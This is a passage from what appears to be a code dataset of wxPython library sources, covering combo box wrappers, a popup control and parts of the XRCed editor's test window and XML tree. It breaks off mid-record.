Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=wxPyComboBoxNameStr) -> OwnerDrawnComboBox\n\n Standard constructor.\n \"\"\"\n _combo.OwnerDrawnComboBox_swiginit(self,_combo.new_OwnerDrawnComboBox(*args, **kwargs))\n self._setOORInfo(self);OwnerDrawnComboBox._setCallbackInfo(self, self, OwnerDrawnComboBox)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _combo.OwnerDrawnComboBox__setCallbackInfo(*args, **kwargs)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=wxPyComboBoxNameStr) -> bool\n\n Create the UI object, and other initialization.\n \"\"\"\n return _combo.OwnerDrawnComboBox_Create(*args, **kwargs)\n\n def GetWidestItemWidth(*args, **kwargs):\n \"\"\"\n GetWidestItemWidth(self) -> int\n\n Return the widest item width (recalculating it if necessary.)\n \"\"\"\n return _combo.OwnerDrawnComboBox_GetWidestItemWidth(*args, **kwargs)\n\n def GetWidestItem(*args, **kwargs):\n \"\"\"\n GetWidestItem(self) -> int\n\n Return the index of the widest item (recalculating it if necessary.)\n \"\"\"\n return _combo.OwnerDrawnComboBox_GetWidestItem(*args, **kwargs)\n\n def SetMark(*args, **kwargs):\n \"\"\"SetMark(self, long from, long to)\"\"\"\n return _combo.OwnerDrawnComboBox_SetMark(*args, **kwargs)\n\n def OnDrawItem(*args, **kwargs):\n \"\"\"\n OnDrawItem(self, DC dc, Rect rect, int item, int flags)\n\n The derived class may implement this function to actually draw the\n item with the given index on the provided DC. If this method is not\n overridden, the item text is simply drawn as if the control was a\n normal combobox.\n\n :param dc: The device context to use for drawing.\n :param rect: The bounding rectangle for the item being drawn, the\n DC's clipping region is set to this rectangle before\n calling this method.\n :param item: The index of the item to be drawn.\n\n :param flags: ``wx.combo.ODCB_PAINTING_CONTROL`` (The Combo control itself\n is being painted, instead of a list item. The ``item``\n parameter may be ``wx.NOT_FOUND`` in this case.\n ``wx.combo.ODCB_PAINTING_SELECTED`` (An item with\n selection background is being painted. The DC's text colour\n should already be correct.\n\n \"\"\"\n return _combo.OwnerDrawnComboBox_OnDrawItem(*args, **kwargs)\n\n def OnMeasureItem(*args, **kwargs):\n \"\"\"\n OnMeasureItem(self, size_t item) -> int\n\n The derived class may implement this method to return the height of\n the specified item (in pixels). The default implementation returns\n text height, as if this control was a normal combobox.\n \"\"\"\n return _combo.OwnerDrawnComboBox_OnMeasureItem(*args, **kwargs)\n\n def OnMeasureItemWidth(*args, **kwargs):\n \"\"\"\n OnMeasureItemWidth(self, size_t item) -> int\n\n The derived class may implement this method to return the width of the\n specified item (in pixels). If -1 is returned, then the item text\n width is used. The default implementation returns -1.\n \"\"\"\n return _combo.OwnerDrawnComboBox_OnMeasureItemWidth(*args, **kwargs)\n\n def OnDrawBackground(*args, **kwargs):\n \"\"\"\n OnDrawBackground(self, DC dc, Rect rect, int item, int flags)\n\n This method is used to draw the items background and, maybe, a border\n around it.\n\n The base class version implements a reasonable default behaviour which\n consists in drawing the selected item with the standard background\n colour and drawing a border around the item if it is either selected\n or current. ``flags`` has the sam meaning as with `OnDrawItem`.\n \"\"\"\n return _combo.OwnerDrawnComboBox_OnDrawBackground(*args, **kwargs)\n\n_combo.OwnerDrawnComboBox_swigregister(OwnerDrawnComboBox)\n\ndef PreOwnerDrawnComboBox(*args, **kwargs):\n \"\"\"\n PreOwnerDrawnComboBox() -> OwnerDrawnComboBox\n\n 2-phase create constructor.\n \"\"\"\n val = _combo.new_PreOwnerDrawnComboBox(*args, **kwargs)\n return val\n\nclass BitmapComboBox(OwnerDrawnComboBox):\n \"\"\"\n A combobox that displays a bitmap in front of the list items. It\n currently only allows using bitmaps of one size, and resizes itself so\n that a bitmap can be shown next to the text field.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=wxBitmapComboBoxNameStr) -> BitmapComboBox\n\n Standard constructor\n \"\"\"\n _combo.BitmapComboBox_swiginit(self,_combo.new_BitmapComboBox(*args, **kwargs))\n self._setOORInfo(self);\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=wxBitmapComboBoxNameStr) -> bool\n\n Create the UI object, and other initialization.\n \"\"\"\n return _combo.BitmapComboBox_Create(*args, **kwargs)\n\n def Append(*args, **kwargs):\n \"\"\"\n Append(self, String item, Bitmap bitmap=wxNullBitmap, PyObject clientData=None) -> int\n\n Adds the item to the control, associating the given data with the item\n if not None. The return value is the index of the newly added item.\n \"\"\"\n return _combo.BitmapComboBox_Append(*args, **kwargs)\n\n def GetItemBitmap(*args, **kwargs):\n \"\"\"\n GetItemBitmap(self, int n) -> Bitmap\n\n Returns the image of the item with the given index.\n \"\"\"\n return _combo.BitmapComboBox_GetItemBitmap(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"\n Insert(self, String item, Bitmap bitmap, int pos, PyObject clientData=None) -> int\n\n Insert an item into the control before the item at the ``pos`` index,\n optionally associating some data object with the item.\n \"\"\"\n return _combo.BitmapComboBox_Insert(*args, **kwargs)\n\n def SetItemBitmap(*args, **kwargs):\n \"\"\"\n SetItemBitmap(self, int n, Bitmap bitmap)\n\n Sets the image for the given item.\n \"\"\"\n return _combo.BitmapComboBox_SetItemBitmap(*args, **kwargs)\n\n def GetBitmapSize(*args, **kwargs):\n \"\"\"\n GetBitmapSize(self) -> Size\n\n Returns size of the image used in list.\n \"\"\"\n return _combo.BitmapComboBox_GetBitmapSize(*args, **kwargs)\n\n_combo.BitmapComboBox_swigregister(BitmapComboBox)\n\ndef PreBitmapComboBox(*args, **kwargs):\n \"\"\"\n PreBitmapComboBox() -> BitmapComboBox\n\n 2-phase create constructor.\n \"\"\"\n val = _combo.new_PreBitmapComboBox(*args, **kwargs)\n return val\n\n\n\n", "id": "3291735", "language": "Python", "matching_score": 4.525110721588135, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/combo.py" }, { "content": "#----------------------------------------------------------------------\n# Name: popup\n# Purpose: Generic popup control\n#\n# Author: <NAME>\n#\n# Created: 2002/11/20\n# Version: 0.1\n# RCS-ID: $Id: popupctl.py 55187 2008-08-23 02:20:11Z RD $\n# License: wxWindows license\n#----------------------------------------------------------------------\n# 11/24/2007 - Cody Precord\n#\n# o Use RendererNative to draw button\n#\n# 12/09/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n# 12/20/2003 - <NAME> (<EMAIL>)\n#\n# o wxPopupDialog -> PopupDialog\n# o wxPopupControl -> PopupControl\n#\n\nimport wx\nfrom wx.lib.buttons import GenButtonEvent\n\n\nclass PopButton(wx.PyControl):\n def __init__(self,*_args,**_kwargs):\n wx.PyControl.__init__(self, *_args, **_kwargs)\n\n self.up = True\n self.didDown = False\n\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_MOTION, self.OnMotion)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n\n def Notify(self):\n evt = GenButtonEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, self.GetId())\n evt.SetIsDown(not self.up)\n evt.SetButtonObj(self)\n evt.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(evt)\n\n def OnEraseBackground(self, event):\n pass\n\n def OnLeftDown(self, event):\n if not self.IsEnabled():\n return\n self.didDown = True\n self.up = False\n self.CaptureMouse()\n self.GetParent().textCtrl.SetFocus()\n self.Refresh()\n event.Skip()\n\n def OnLeftUp(self, event):\n if not self.IsEnabled():\n return\n if self.didDown:\n self.ReleaseMouse()\n if not self.up:\n self.Notify()\n self.up = True\n self.Refresh()\n self.didDown = False\n event.Skip()\n\n def OnMotion(self, event):\n if not self.IsEnabled():\n return\n if event.LeftIsDown():\n if self.didDown:\n x,y = event.GetPosition()\n w,h = self.GetClientSize()\n if self.up and x<w and x>=0 and y<h and y>=0:\n self.up = False\n self.Refresh()\n return\n if not self.up and (x<0 or y<0 or x>=w or y>=h):\n self.up = True\n self.Refresh()\n return\n event.Skip()\n\n def OnPaint(self, event):\n dc = wx.BufferedPaintDC(self)\n if self.up:\n flag = wx.CONTROL_CURRENT\n else:\n flag = wx.CONTROL_PRESSED\n wx.RendererNative.Get().DrawComboBoxDropButton(self, dc, self.GetClientRect(), flag)\n\n \n#---------------------------------------------------------------------------\n\n\n# Tried to use wxPopupWindow but the control misbehaves on MSW\nclass PopupDialog(wx.Dialog):\n def __init__(self,parent,content = None):\n wx.Dialog.__init__(self,parent,-1,'', style = wx.BORDER_SIMPLE|wx.STAY_ON_TOP)\n\n self.ctrl = parent\n self.win = wx.Window(self,-1,pos = (0,0),style = 0)\n\n if content:\n self.SetContent(content)\n\n def SetContent(self,content):\n self.content = content\n self.content.Reparent(self.win)\n self.content.Show(True)\n self.win.SetClientSize(self.content.GetSize())\n self.SetSize(self.win.GetSize())\n\n def Display(self):\n pos = self.ctrl.ClientToScreen( (0,0) )\n dSize = wx.GetDisplaySize()\n selfSize = self.GetSize()\n tcSize = self.ctrl.GetSize()\n\n pos.x -= (selfSize.width - tcSize.width) / 2\n if pos.x + selfSize.width > dSize.width:\n pos.x = dSize.width - selfSize.width\n if pos.x < 0:\n pos.x = 0\n\n pos.y += tcSize.height\n if pos.y + selfSize.height > dSize.height:\n pos.y = dSize.height - selfSize.height\n if pos.y < 0:\n pos.y = 0\n\n self.Move(pos)\n\n self.ctrl.FormatContent()\n\n self.ShowModal()\n\n\n#---------------------------------------------------------------------------\n\n\nclass PopupControl(wx.PyControl):\n def __init__(self,*_args,**_kwargs):\n if _kwargs.has_key('value'):\n del _kwargs['value']\n style = _kwargs.get('style', 0)\n if (style & wx.BORDER_MASK) == 0:\n style |= wx.BORDER_NONE\n _kwargs['style'] = style\n wx.PyControl.__init__(self, *_args, **_kwargs)\n\n self.textCtrl = wx.TextCtrl(self, wx.ID_ANY, '', pos = (0,0))\n self.bCtrl = PopButton(self, wx.ID_ANY, style=wx.BORDER_NONE)\n self.pop = None\n self.content = None\n \n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.bCtrl.Bind(wx.EVT_BUTTON, self.OnButton, self.bCtrl)\n self.Bind(wx.EVT_SET_FOCUS, self.OnFocus)\n\n self.SetInitialSize(_kwargs.get('size', wx.DefaultSize))\n self.SendSizeEvent()\n \n \n def OnFocus(self,evt):\n # embedded control should get focus on TAB keypress\n self.textCtrl.SetFocus()\n evt.Skip()\n\n\n def OnSize(self, evt):\n # layout the child widgets\n w,h = self.GetClientSize()\n self.textCtrl.SetDimensions(0, 0, w - self.marginWidth - self.buttonWidth, h)\n self.bCtrl.SetDimensions(w - self.buttonWidth, 0, self.buttonWidth, h)\n\n def DoGetBestSize(self):\n # calculate the best size of the combined control based on the\n # needs of the child widgets.\n tbs = self.textCtrl.GetBestSize()\n return wx.Size(tbs.width + self.marginWidth + self.buttonWidth,\n tbs.height)\n \n\n def OnButton(self, evt):\n if not self.pop:\n if self.content:\n self.pop = PopupDialog(self,self.content)\n del self.content\n else:\n print 'No Content to pop'\n if self.pop:\n self.pop.Display()\n\n\n def Enable(self, flag):\n wx.PyControl.Enable(self,flag)\n self.textCtrl.Enable(flag)\n self.bCtrl.Enable(flag)\n\n\n def SetPopupContent(self, content):\n if not self.pop:\n self.content = content\n self.content.Show(False)\n else:\n self.pop.SetContent(content)\n\n def FormatContent(self):\n pass\n\n def PopDown(self):\n if self.pop:\n self.pop.EndModal(1)\n\n def SetValue(self, value):\n self.textCtrl.SetValue(value)\n\n def GetValue(self):\n return self.textCtrl.GetValue()\n\n def SetFont(self, font):\n self.textCtrl.SetFont(font)\n\n def GetFont(self):\n return self.textCtrl.GetFont()\n\n\n def _get_marginWidth(self):\n if 'wxMac' in wx.PlatformInfo:\n return 6\n else:\n return 3\n marginWidth = property(_get_marginWidth)\n\n def _get_buttonWidth(self):\n return 20\n buttonWidth = property(_get_buttonWidth)\n \n\n# an alias\nPopupCtrl = PopupControl\n", "id": "2442854", "language": "Python", "matching_score": 2.6100754737854004, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/popupctl.py" }, { "content": "# Name: view.py\n# Purpose: TestWindow and related classes\n# Author: <NAME> <<EMAIL>>\n# Created: 13.07.2007\n# RCS-ID: $Id: view.py 47356 2007-07-12 01:00:57Z ROL $\n\nfrom globals import *\nimport wx\nimport view\nfrom component import Manager\n\ndef getAllChildren(w):\n '''Get all children recursively.'''\n children = []\n for ch in w.GetChildren():\n children.append(ch)\n children.extend(getAllChildren(ch))\n return children\n\nclass TestWindow:\n '''Test window manager showing currently edited subtree.'''\n def __init__(self):\n self.Init()\n\n def Init(self):\n self.hl = self.hlDT = None # highlight objects (Rect)\n self.frame = self.object = None # currenly shown frame and related object\n self.item = None\n self.pos = wx.DefaultPosition\n self.size = wx.DefaultSize \n self.isDirty = False # if refresh neeeded\n self.trash = [] # trash to be destroyed later\n\n def SetView(self, frame, object, item):\n TRACE('SetView %s %s', frame, object)\n restoreSize = False\n if self.object:\n # Old window must be destroyed if new uses different frame\n # or is itself a toplevel window\n if not frame or frame and not self.frame:\n # Remember old item\n if item == self.item:\n restoreSize = True\n TRACE('Closing old frame, restoreSize=%d', restoreSize)\n self.GetFrame().Close()\n elif self.frame:\n # Destroy old object but re-use frame\n self.object.Destroy()\n self.frame = frame\n self.object = object\n self.isDirty = False\n object.SetDropTarget(DropTarget(object))\n if wx.Platform == '__WXMAC__':\n for ch in getAllChildren(object):\n ch.SetDropTarget(DropTarget(ch))\n if wx.Platform == '__WXMSW__':\n object.Bind(wx.EVT_PAINT, self.OnPaint)\n if self.pos != wx.DefaultPosition:\n self.GetFrame().SetPosition(self.pos)\n if restoreSize: # keep same size in refreshing\n TRACE('restoring size %s', self.size)\n self.GetFrame().SetSize(self.size)\n self.item = item\n self.hl = self.hlDT = None\n g.Listener.InstallTestWinEvents()\n\n def OnPaint(self, evt):\n # This is a completely crazy way to force wxMSW to refresh\n # highlight _after_ window is painted\n dc = wx.PaintDC(self.object)\n dc.Destroy()\n self.object.Bind(wx.EVT_IDLE, self.OnIdle)\n\n def OnIdle(self, evt):\n self.object.Unbind(wx.EVT_IDLE)\n if self.hl: self.hl.Refresh()\n if self.hlDT: self.hlDT.Refresh()\n \n def GetFrame(self):\n if self.frame: return self.frame\n else: return self.object\n\n def Show(self, show=True):\n TRACE('TestWindow.Show')\n self.GetFrame().Show(show)\n\n # re-raise the main window so the test window doesn't steal\n # the activation from it.\n if g.lastActiveFrame:\n g.lastActiveFrame.Raise() \n \n def IsShown(self):\n return self.object is not None and self.object.IsShown()\n\n def IsDirty(self):\n '''If test window must be refreshed.'''\n return self.IsShown() and self.isDirty\n\n def EmptyTrash(self):\n [l.Destroy() for l in self.trash]\n self.trash = []\n\n def Destroy(self):\n TRACE('Destroy test window')\n # Remember dimensions\n self.pos = self.GetFrame().GetPosition()\n self.size = self.GetFrame().GetSize()\n self.GetFrame().Destroy()\n self.frame = self.object = self.item = None\n self.hl = self.hlDT = None\n self.trash = []\n\n # Find the object for an item\n def FindObject(self, item):\n tree = view.tree\n if not item or item == tree.root:\n return None\n if item == self.item: return self.object\n # Traverse tree until we reach the root or the test object\n items = [item]\n while 1:\n item = tree.GetItemParent(item)\n if item == tree.root: return None # item outside if the test subtree\n elif item == self.item: break\n else: items.append(item)\n # Now traverse back, searching children\n obj = self.object\n comp = Manager.getNodeComp(tree.GetPyData(self.item))\n while items and obj:\n if not (isinstance(obj, wx.Window) or isinstance(obj, wx.Sizer)):\n return None\n parentItem = item\n item = items.pop()\n index = tree.ItemIndexWin(item)\n obj = comp.getChildObject(tree.GetPyData(parentItem), obj, index)\n node = tree.GetPyData(item)\n comp = Manager.getNodeComp(node)\n return obj\n\n # Find tree item corresponding to testWin object\n def FindObjectItem(self, item, obj):\n # We simply perform depth-first traversal, sinse it's too much\n # hassle to deal with all sizer/window combinations\n w = self.FindObject(item)\n if w == obj or isinstance(w, wx.SizerItem) and w.GetWindow() == obj:\n return item\n if view.tree.ItemHasChildren(item):\n child = view.tree.GetFirstChild(item)[0]\n while child:\n found = self.FindObjectItem(child, obj)\n if found: return found\n child = view.tree.GetNextSibling(child)\n return None\n\n # Find the rectangle or rectangles corresponding to a tree item\n # in the test window (or return None)\n def FindObjectRect(self, item):\n tree = view.tree\n if not item or item == tree.root: return None\n if item == self.item: # top-level\n comp = Manager.getNodeComp(tree.GetPyData(item))\n rects = comp.getRect(self.object)\n if rects:\n # Make rects relative to the object\n offset = wx.Point(-rects[0].GetLeft(),-rects[0].GetTop())\n [r.Offset(offset) for r in rects]\n return rects\n # Traverse tree until we reach the root or the test object\n items = [item]\n while 1:\n item = tree.GetItemParent(item)\n if item == self.item: break\n elif item == tree.root: return None # item outside of the test subtree\n else: items.append(item)\n # Now traverse back from parents to children\n obj = self.object\n offset = wx.Point(0,0)\n rects = None\n comp = Manager.getNodeComp(tree.GetPyData(self.item))\n while items and obj:\n if not (isinstance(obj, wx.Window) or isinstance(obj, wx.Sizer)):\n return None\n parentItem = item\n if rects: parentRect = rects[0]\n parent = obj\n item = items.pop()\n index = tree.ItemIndexWin(item)\n obj = comp.getChildObject(tree.GetPyData(parentItem), parent, index)\n if isinstance(parent, wx.Notebook) and index != parent.GetSelection():\n parent.SetSelection(index)\n node = tree.GetPyData(item)\n comp = Manager.getNodeComp(node)\n rects = comp.getRect(obj)\n if not rects: return None\n r = rects[0]\n if isinstance(parent, wx.Sizer) and parentRect:\n sizerItem = parent.GetChildren()[index]\n flag = sizerItem.GetFlag()\n border = sizerItem.GetBorder()\n if border != 0:\n x = (r.GetLeft() + r.GetRight()) / 2\n if flag & wx.TOP:\n rects.append(wx.Rect(x, r.GetTop() - border, 0, border))\n if flag & wx.BOTTOM:\n rects.append(wx.Rect(x, r.GetBottom() + 1, 0, border))\n y = (r.GetTop() + r.GetBottom()) / 2\n if flag & wx.LEFT:\n rects.append(wx.Rect(r.GetLeft() - border, y, border, 0))\n if flag & wx.RIGHT:\n rects.append(wx.Rect(r.GetRight() + 1, y, border, 0))\n if isinstance(obj, wx.Notebook) and items:\n offset += obj.GetClientRect().GetTopLeft()\n elif isinstance(obj, wx.Window) and items:\n offset += r.GetTopLeft()\n [r.Offset(offset) for r in rects]\n return rects\n\n def Highlight(self, rect):\n if not self.hl:\n self.hl = Highlight(self.object, rect)\n else:\n self.hl.Move(rect)\n \n def HighlightDT(self, rect, item):\n if not self.hlDT:\n self.hlDT = Highlight(self.object, rect, wx.BLUE, False)\n self.hlDT.origColour = view.tree.GetItemTextColour(item)\n else:\n self.hlDT.Move(rect)\n view.tree.SetItemTextColour(self.hlDT.item, self.hlDT.origColour)\n view.tree.SetItemTextColour(item, view.tree.COLOUR_DT) \n self.hlDT.item = item\n \n def RemoveHighlight(self):\n if self.hl is None: return\n self.hl.Destroy()\n self.EmptyTrash()\n self.hl = None\n \n def RemoveHighlightDT(self):\n if self.hlDT is None: return\n if self.hlDT.item:\n view.tree.SetItemTextColour(self.hlDT.item, self.hlDT.origColour)\n # Destroying is sensitive if done directly in DropTarget methods\n wx.CallAfter(self.hlDT.Destroy)\n self.hlDT = None\n view.frame.SetStatusText('')\n\n \n################################################################################\n\n# DragAndDrop\n\nclass DropTarget(wx.DropTarget):\n def __init__(self, win):\n self.win = win\n self.do = MyDataObject()\n wx.DropTarget.__init__(self, self.do)\n self.onHL = self.left = False\n\n # Find best object for dropping\n def WhereToDrop(self, x, y, d):\n # Find object by position\n if wx.Platform == '__WXMAC__': # on mac x,y relative to children\n scrPos = self.win.ClientToScreen((x,y))\n else:\n scrPos = view.testWin.object.ClientToScreen((x,y))\n obj = wx.FindWindowAtPoint(scrPos)\n if not obj:\n return wx.DragNone, ()\n if obj.GetId() == Highlight.ID_HL:\n self.onHL = True\n return d, ()\n item = view.testWin.FindObjectItem(view.testWin.item, obj)\n if not item:\n return wx.DragNone, ()\n # If window has a sizer use it as parent\n if obj.GetSizer():\n obj = obj.GetSizer()\n item = view.testWin.FindObjectItem(view.testWin.item, obj)\n return d, (obj,item)\n\n # Drop\n def OnData(self, x, y, d):\n view.testWin.RemoveHighlightDT()\n self.onHL = self.left = False\n self.GetData()\n id = int(self.do.GetDataHere())\n d,other = self.WhereToDrop(x, y, d)\n if d != wx.DragNone and other:\n obj,item = other\n g.Presenter.setData(item)\n comp = Manager.findById(id)\n mouseState = wx.GetMouseState()\n forceSibling = mouseState.ControlDown()\n forceInsert = mouseState.ShiftDown()\n g.Presenter.updateCreateState(forceSibling, forceInsert)\n if not g.Presenter.checkCompatibility(comp):\n return wx.DragNone\n item = g.Presenter.create(comp)\n node = view.tree.GetPyData(item)\n parentItem = view.tree.GetItemParent(item)\n parentNode = view.tree.GetPyData(parentItem)\n parentComp = Manager.getNodeComp(parentNode)\n # If pos if not set by default and parent is not a sizer, set pos to\n # drop coordinates\n if 'pos' in comp.attributes and not comp.getAttribute(node, 'pos') \\\n and parentComp.isContainer() and \\\n not parentComp.isSizer():\n # Calc relative coords\n rect = view.testWin.FindObjectRect(parentItem)\n x -= rect[0].x\n y -= rect[0].y\n comp.addAttribute(node, 'pos', '%d,%d' % (x, y))\n g.Presenter.setData(item)\n view.frame.SetStatusText('Object created')\n return d\n\n def OnDragOver(self, x, y, d):\n d,other = self.WhereToDrop(x, y, d)\n if d == wx.DragNone:\n view.frame.SetStatusText('Inappropriate drop target')\n view.testWin.RemoveHighlightDT()\n elif other:\n if self.left:\n view.testWin.RemoveHighlightDT()\n self.onHL = self.left = False\n obj,item = other\n hl = view.testWin.hlDT\n if not hl or hl.item != item:\n rect = view.testWin.FindObjectRect(item)\n if not rect: return wx.DragNone\n view.testWin.HighlightDT(rect, item)\n view.tree.EnsureVisible(item)\n view.frame.SetStatusText('Drop target: %s' % view.tree.GetItemText(item))\n return d\n\n def OnLeave(self):\n # Try to prevent flashing when pointer passes on highlight lines\n if self.onHL:\n view.testWin.RemoveHighlightDT()\n self.onHL = False\n else: self.left = True\n\n################################################################################\n\nclass Highlight:\n '''\n Create a highlight rectangle by using multiple windows. rect is a\n single Rect or a list of Rects (for sizeritems).\n '''\n ID_HL = wx.NewId()\n def __init__(self, w, rect, colour=wx.Colour(222,0,0), more_lines=True):\n self.win = w\n self.colour = colour\n self.moreLines = more_lines\n rects = rect[1:]\n rect = rect[0]\n if rect.width == -1: rect.width = 0\n if rect.height == -1: rect.height = 0\n self.lines = [wx.Window(w, self.ID_HL, rect.GetTopLeft(), (rect.width, 2)),\n wx.Window(w, self.ID_HL, rect.GetTopLeft(), (2, rect.height)),\n wx.Window(w, self.ID_HL, (rect.x + rect.width - 2, rect.y), (2, rect.height)),\n wx.Window(w, self.ID_HL, (rect.x, rect.y + rect.height - 2), (rect.width, 2))]\n for l in self.lines:\n l.SetBackgroundColour(colour)\n l.SetDropTarget(DropTarget(l))\n if wx.Platform == '__WXMSW__':\n [l.Bind(wx.EVT_PAINT, self.OnPaint) for l in self.lines]\n if more_lines: [self.AddSizerItem(r) for r in rects]\n\n # Repainting is not always done for these windows on Windows\n def OnPaint(self, evt):\n w = evt.GetEventObject()\n dc = wx.PaintDC(w)\n w.ClearBackground()\n dc.Destroy()\n def Destroy(self, i=0):\n '''Destroy highlight lines from some index.'''\n if wx.Platform == '__WXMAC__':\n [l.Hide() for l in self.lines[i:]]\n view.testWin.trash.extend(self.lines[i:])\n else:\n [l.Destroy() for l in self.lines[i:]]\n self.lines[i:] = []\n\n def Refresh(self):\n [l.Refresh() for l in self.lines]\n\n def Move(self, rect):\n rects = rect[1:]\n rect = rect[0]\n pos = rect.GetTopLeft()\n size = rect.GetSize()\n if size.width == -1: size.width = 0\n if size.height == -1: size.height = 0\n self.Destroy(4)\n self.lines[0].SetDimensions(pos.x, pos.y, size.width, 2)\n self.lines[1].SetDimensions(pos.x, pos.y, 2, size.height)\n self.lines[2].SetDimensions(pos.x + size.width - 2, pos.y, 2, size.height)\n self.lines[3].SetDimensions(pos.x, pos.y + size.height - 2, size.width, 2)\n [l.Raise() for l in self.lines]\n if self.moreLines: [self.AddSizerItem(r) for r in rects]\n\n def AddSizerItem(self, rect):\n w = self.win\n # 0 means a line from outer box to inner\n if rect.width == 0 or rect.height == 0:\n colour = wx.Colour(255,64,0)\n if rect.height == 0:\n line = wx.Window(w, -1, rect.GetTopLeft(), (rect.width, 1))\n else:\n line = wx.Window(w, -1, rect.GetTopLeft(), (1, rect.height))\n line.SetBackgroundColour(colour)\n self.lines.append(line)\n return\n colour = wx.Colour(255,0,0)\n lines = []\n lines.append(wx.Window(w, -1, rect.GetTopLeft(), (rect.width, 1)))\n lines.append(wx.Window(w, -1, rect.GetTopLeft(), (1, rect.height)))\n if rect.height > 1:\n lines.append(wx.Window(w, self.ID_HL, (rect.x, rect.y + rect.height - 1), (rect.width, 1)))\n if rect.width > 1:\n lines.append(wx.Window(w, self.ID_HL, (rect.x + rect.width - 1, rect.y), (1, rect.height)))\n for l in lines:\n l.SetBackgroundColour(colour)\n l.SetDropTarget(DropTarget(l))\n self.lines.extend(lines)\n", "id": "6511831", "language": "Python", "matching_score": 4.500043869018555, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/TestWin.py" }, { "content": "# Name: XMLTree.py\n# Purpose: XMLTree class\n# Author: <NAME> <<EMAIL>>\n# Created: 31.05.2007\n# RCS-ID: $Id: XMLTree.py 64627 2010-06-18 18:17:45Z ROL $\n\nfrom globals import *\nfrom model import Model\nfrom component import Manager, Component, Container\nimport images\n\nclass XMLTree(wx.TreeCtrl):\n def __init__(self, parent):\n style = wx.TR_HAS_BUTTONS | wx.TR_MULTIPLE | \\\n wx.TR_HIDE_ROOT | wx.TR_LINES_AT_ROOT\n wx.TreeCtrl.__init__(self, parent, style=style)\n\n self.locals = {} # namespace for comment directives\n\n # Color scheme\n self.SetBackgroundColour(wx.Colour(222, 248, 222))\n self.COLOUR_COMMENT = wx.Colour(0, 0, 255)\n self.COLOUR_REF = wx.Colour(0, 0, 128)\n self.COLOUR_HIDDEN = wx.Colour(128, 128, 128)\n self.COLOUR_HL = wx.Colour(255, 0, 0)\n self.COLOUR_DT = wx.Colour(0, 0, 255)\n\n # Comments use italic font\n self.fontComment = wx.FFont(self.GetFont().GetPointSize(),\n self.GetFont().GetFamily(),\n wx.FONTFLAG_ITALIC)\n\n # Create image list\n il = wx.ImageList(22, 22, True)\n # 0 is the default image index\n im = images.TreeDefault.GetImage()\n if im.GetWidth() != 22 or im.GetHeight() != 22:\n im.Resize((22,22), ((22-im.GetWidth())/2,(22-im.GetHeight())/2))\n il.Add(im.ConvertToBitmap())\n # 1 is the default container image\n im = images.TreeDefaultContainer.GetImage()\n if im.GetWidth() != 22 or im.GetHeight() != 22:\n im.Resize((22,22), ((22-im.GetWidth())/2,(22-im.GetHeight())/2))\n il.Add(im.ConvertToBitmap())\n # root icon\n# self.rootImage = il.Add(images.TreeRoot.GetImage().Scale(16,16).ConvertToBitmap())\n # Loop through registered components which have images\n for component in Manager.components.values():\n for im in component.images:\n # Resize image if necessary\n if im.GetWidth() != 22 or im.GetHeight() != 22:\n im.Resize((22,22), ((22-im.GetWidth())/2,(22-im.GetHeight())/2))\n im.Id = il.Add(im.ConvertToBitmap())\n self.il = il\n self.SetImageList(il)\n\n self.root = self.AddRoot('XML tree') #, self.rootImage)\n self.SetItemHasChildren(self.root)\n\n def Clear(self):\n '''Clear everything except the root item.'''\n self.UnselectAll()\n self.DeleteChildren(self.root)\n\n # Add tree item for given parent item if node is DOM element node with\n # object/object_ref tag\n def AddNode(self, parent, node):\n # Append tree item\n try:\n comp = Manager.getNodeComp(node, None)\n className = comp.klass\n except:\n className = node.getAttribute('class')\n # Try to create some generic component on-the-fly\n attributes = []\n isContainer = False\n for n in node.childNodes:\n if is_element(n):\n isContainer = True\n elif n.nodeType == node.ELEMENT_NODE and not n.tagName in attributes:\n attributes.append(n.tagName)\n if isContainer:\n comp = Container(className, 'unknown', attributes)\n else:\n comp = Component(className, 'unknown', attributes)\n Manager.register(comp)\n wx.LogWarning('Unknown component class \"%s\", registered as generic' % className)\n item = self.AppendItem(parent, comp.getTreeText(node), \n image=comp.getTreeImageId(node),\n data=wx.TreeItemData(node))\n self.SetItemStyle(item, node)\n # Try to find children objects\n if comp.isContainer():\n for n in filter(is_object, node.childNodes):\n self.AddNode(item, comp.getTreeNode(n))\n elif node.nodeType == node.COMMENT_NODE:\n if node.data and node.data[0] == '%' and g.conf.allowExec != 'no':\n if g.conf.allowExec == 'ask' and Model.allowExec is None:\n say = wx.MessageBox('''This file contains executable comment directives. \\\nAllow to execute?''', 'Warning', wx.ICON_EXCLAMATION | wx.YES_NO)\n if say == wx.YES:\n Model.allowExec = True\n else:\n Model.allowExec = False\n if g.conf.allowExec == 'yes' or Model.allowExec:\n code = node.data[1:] # 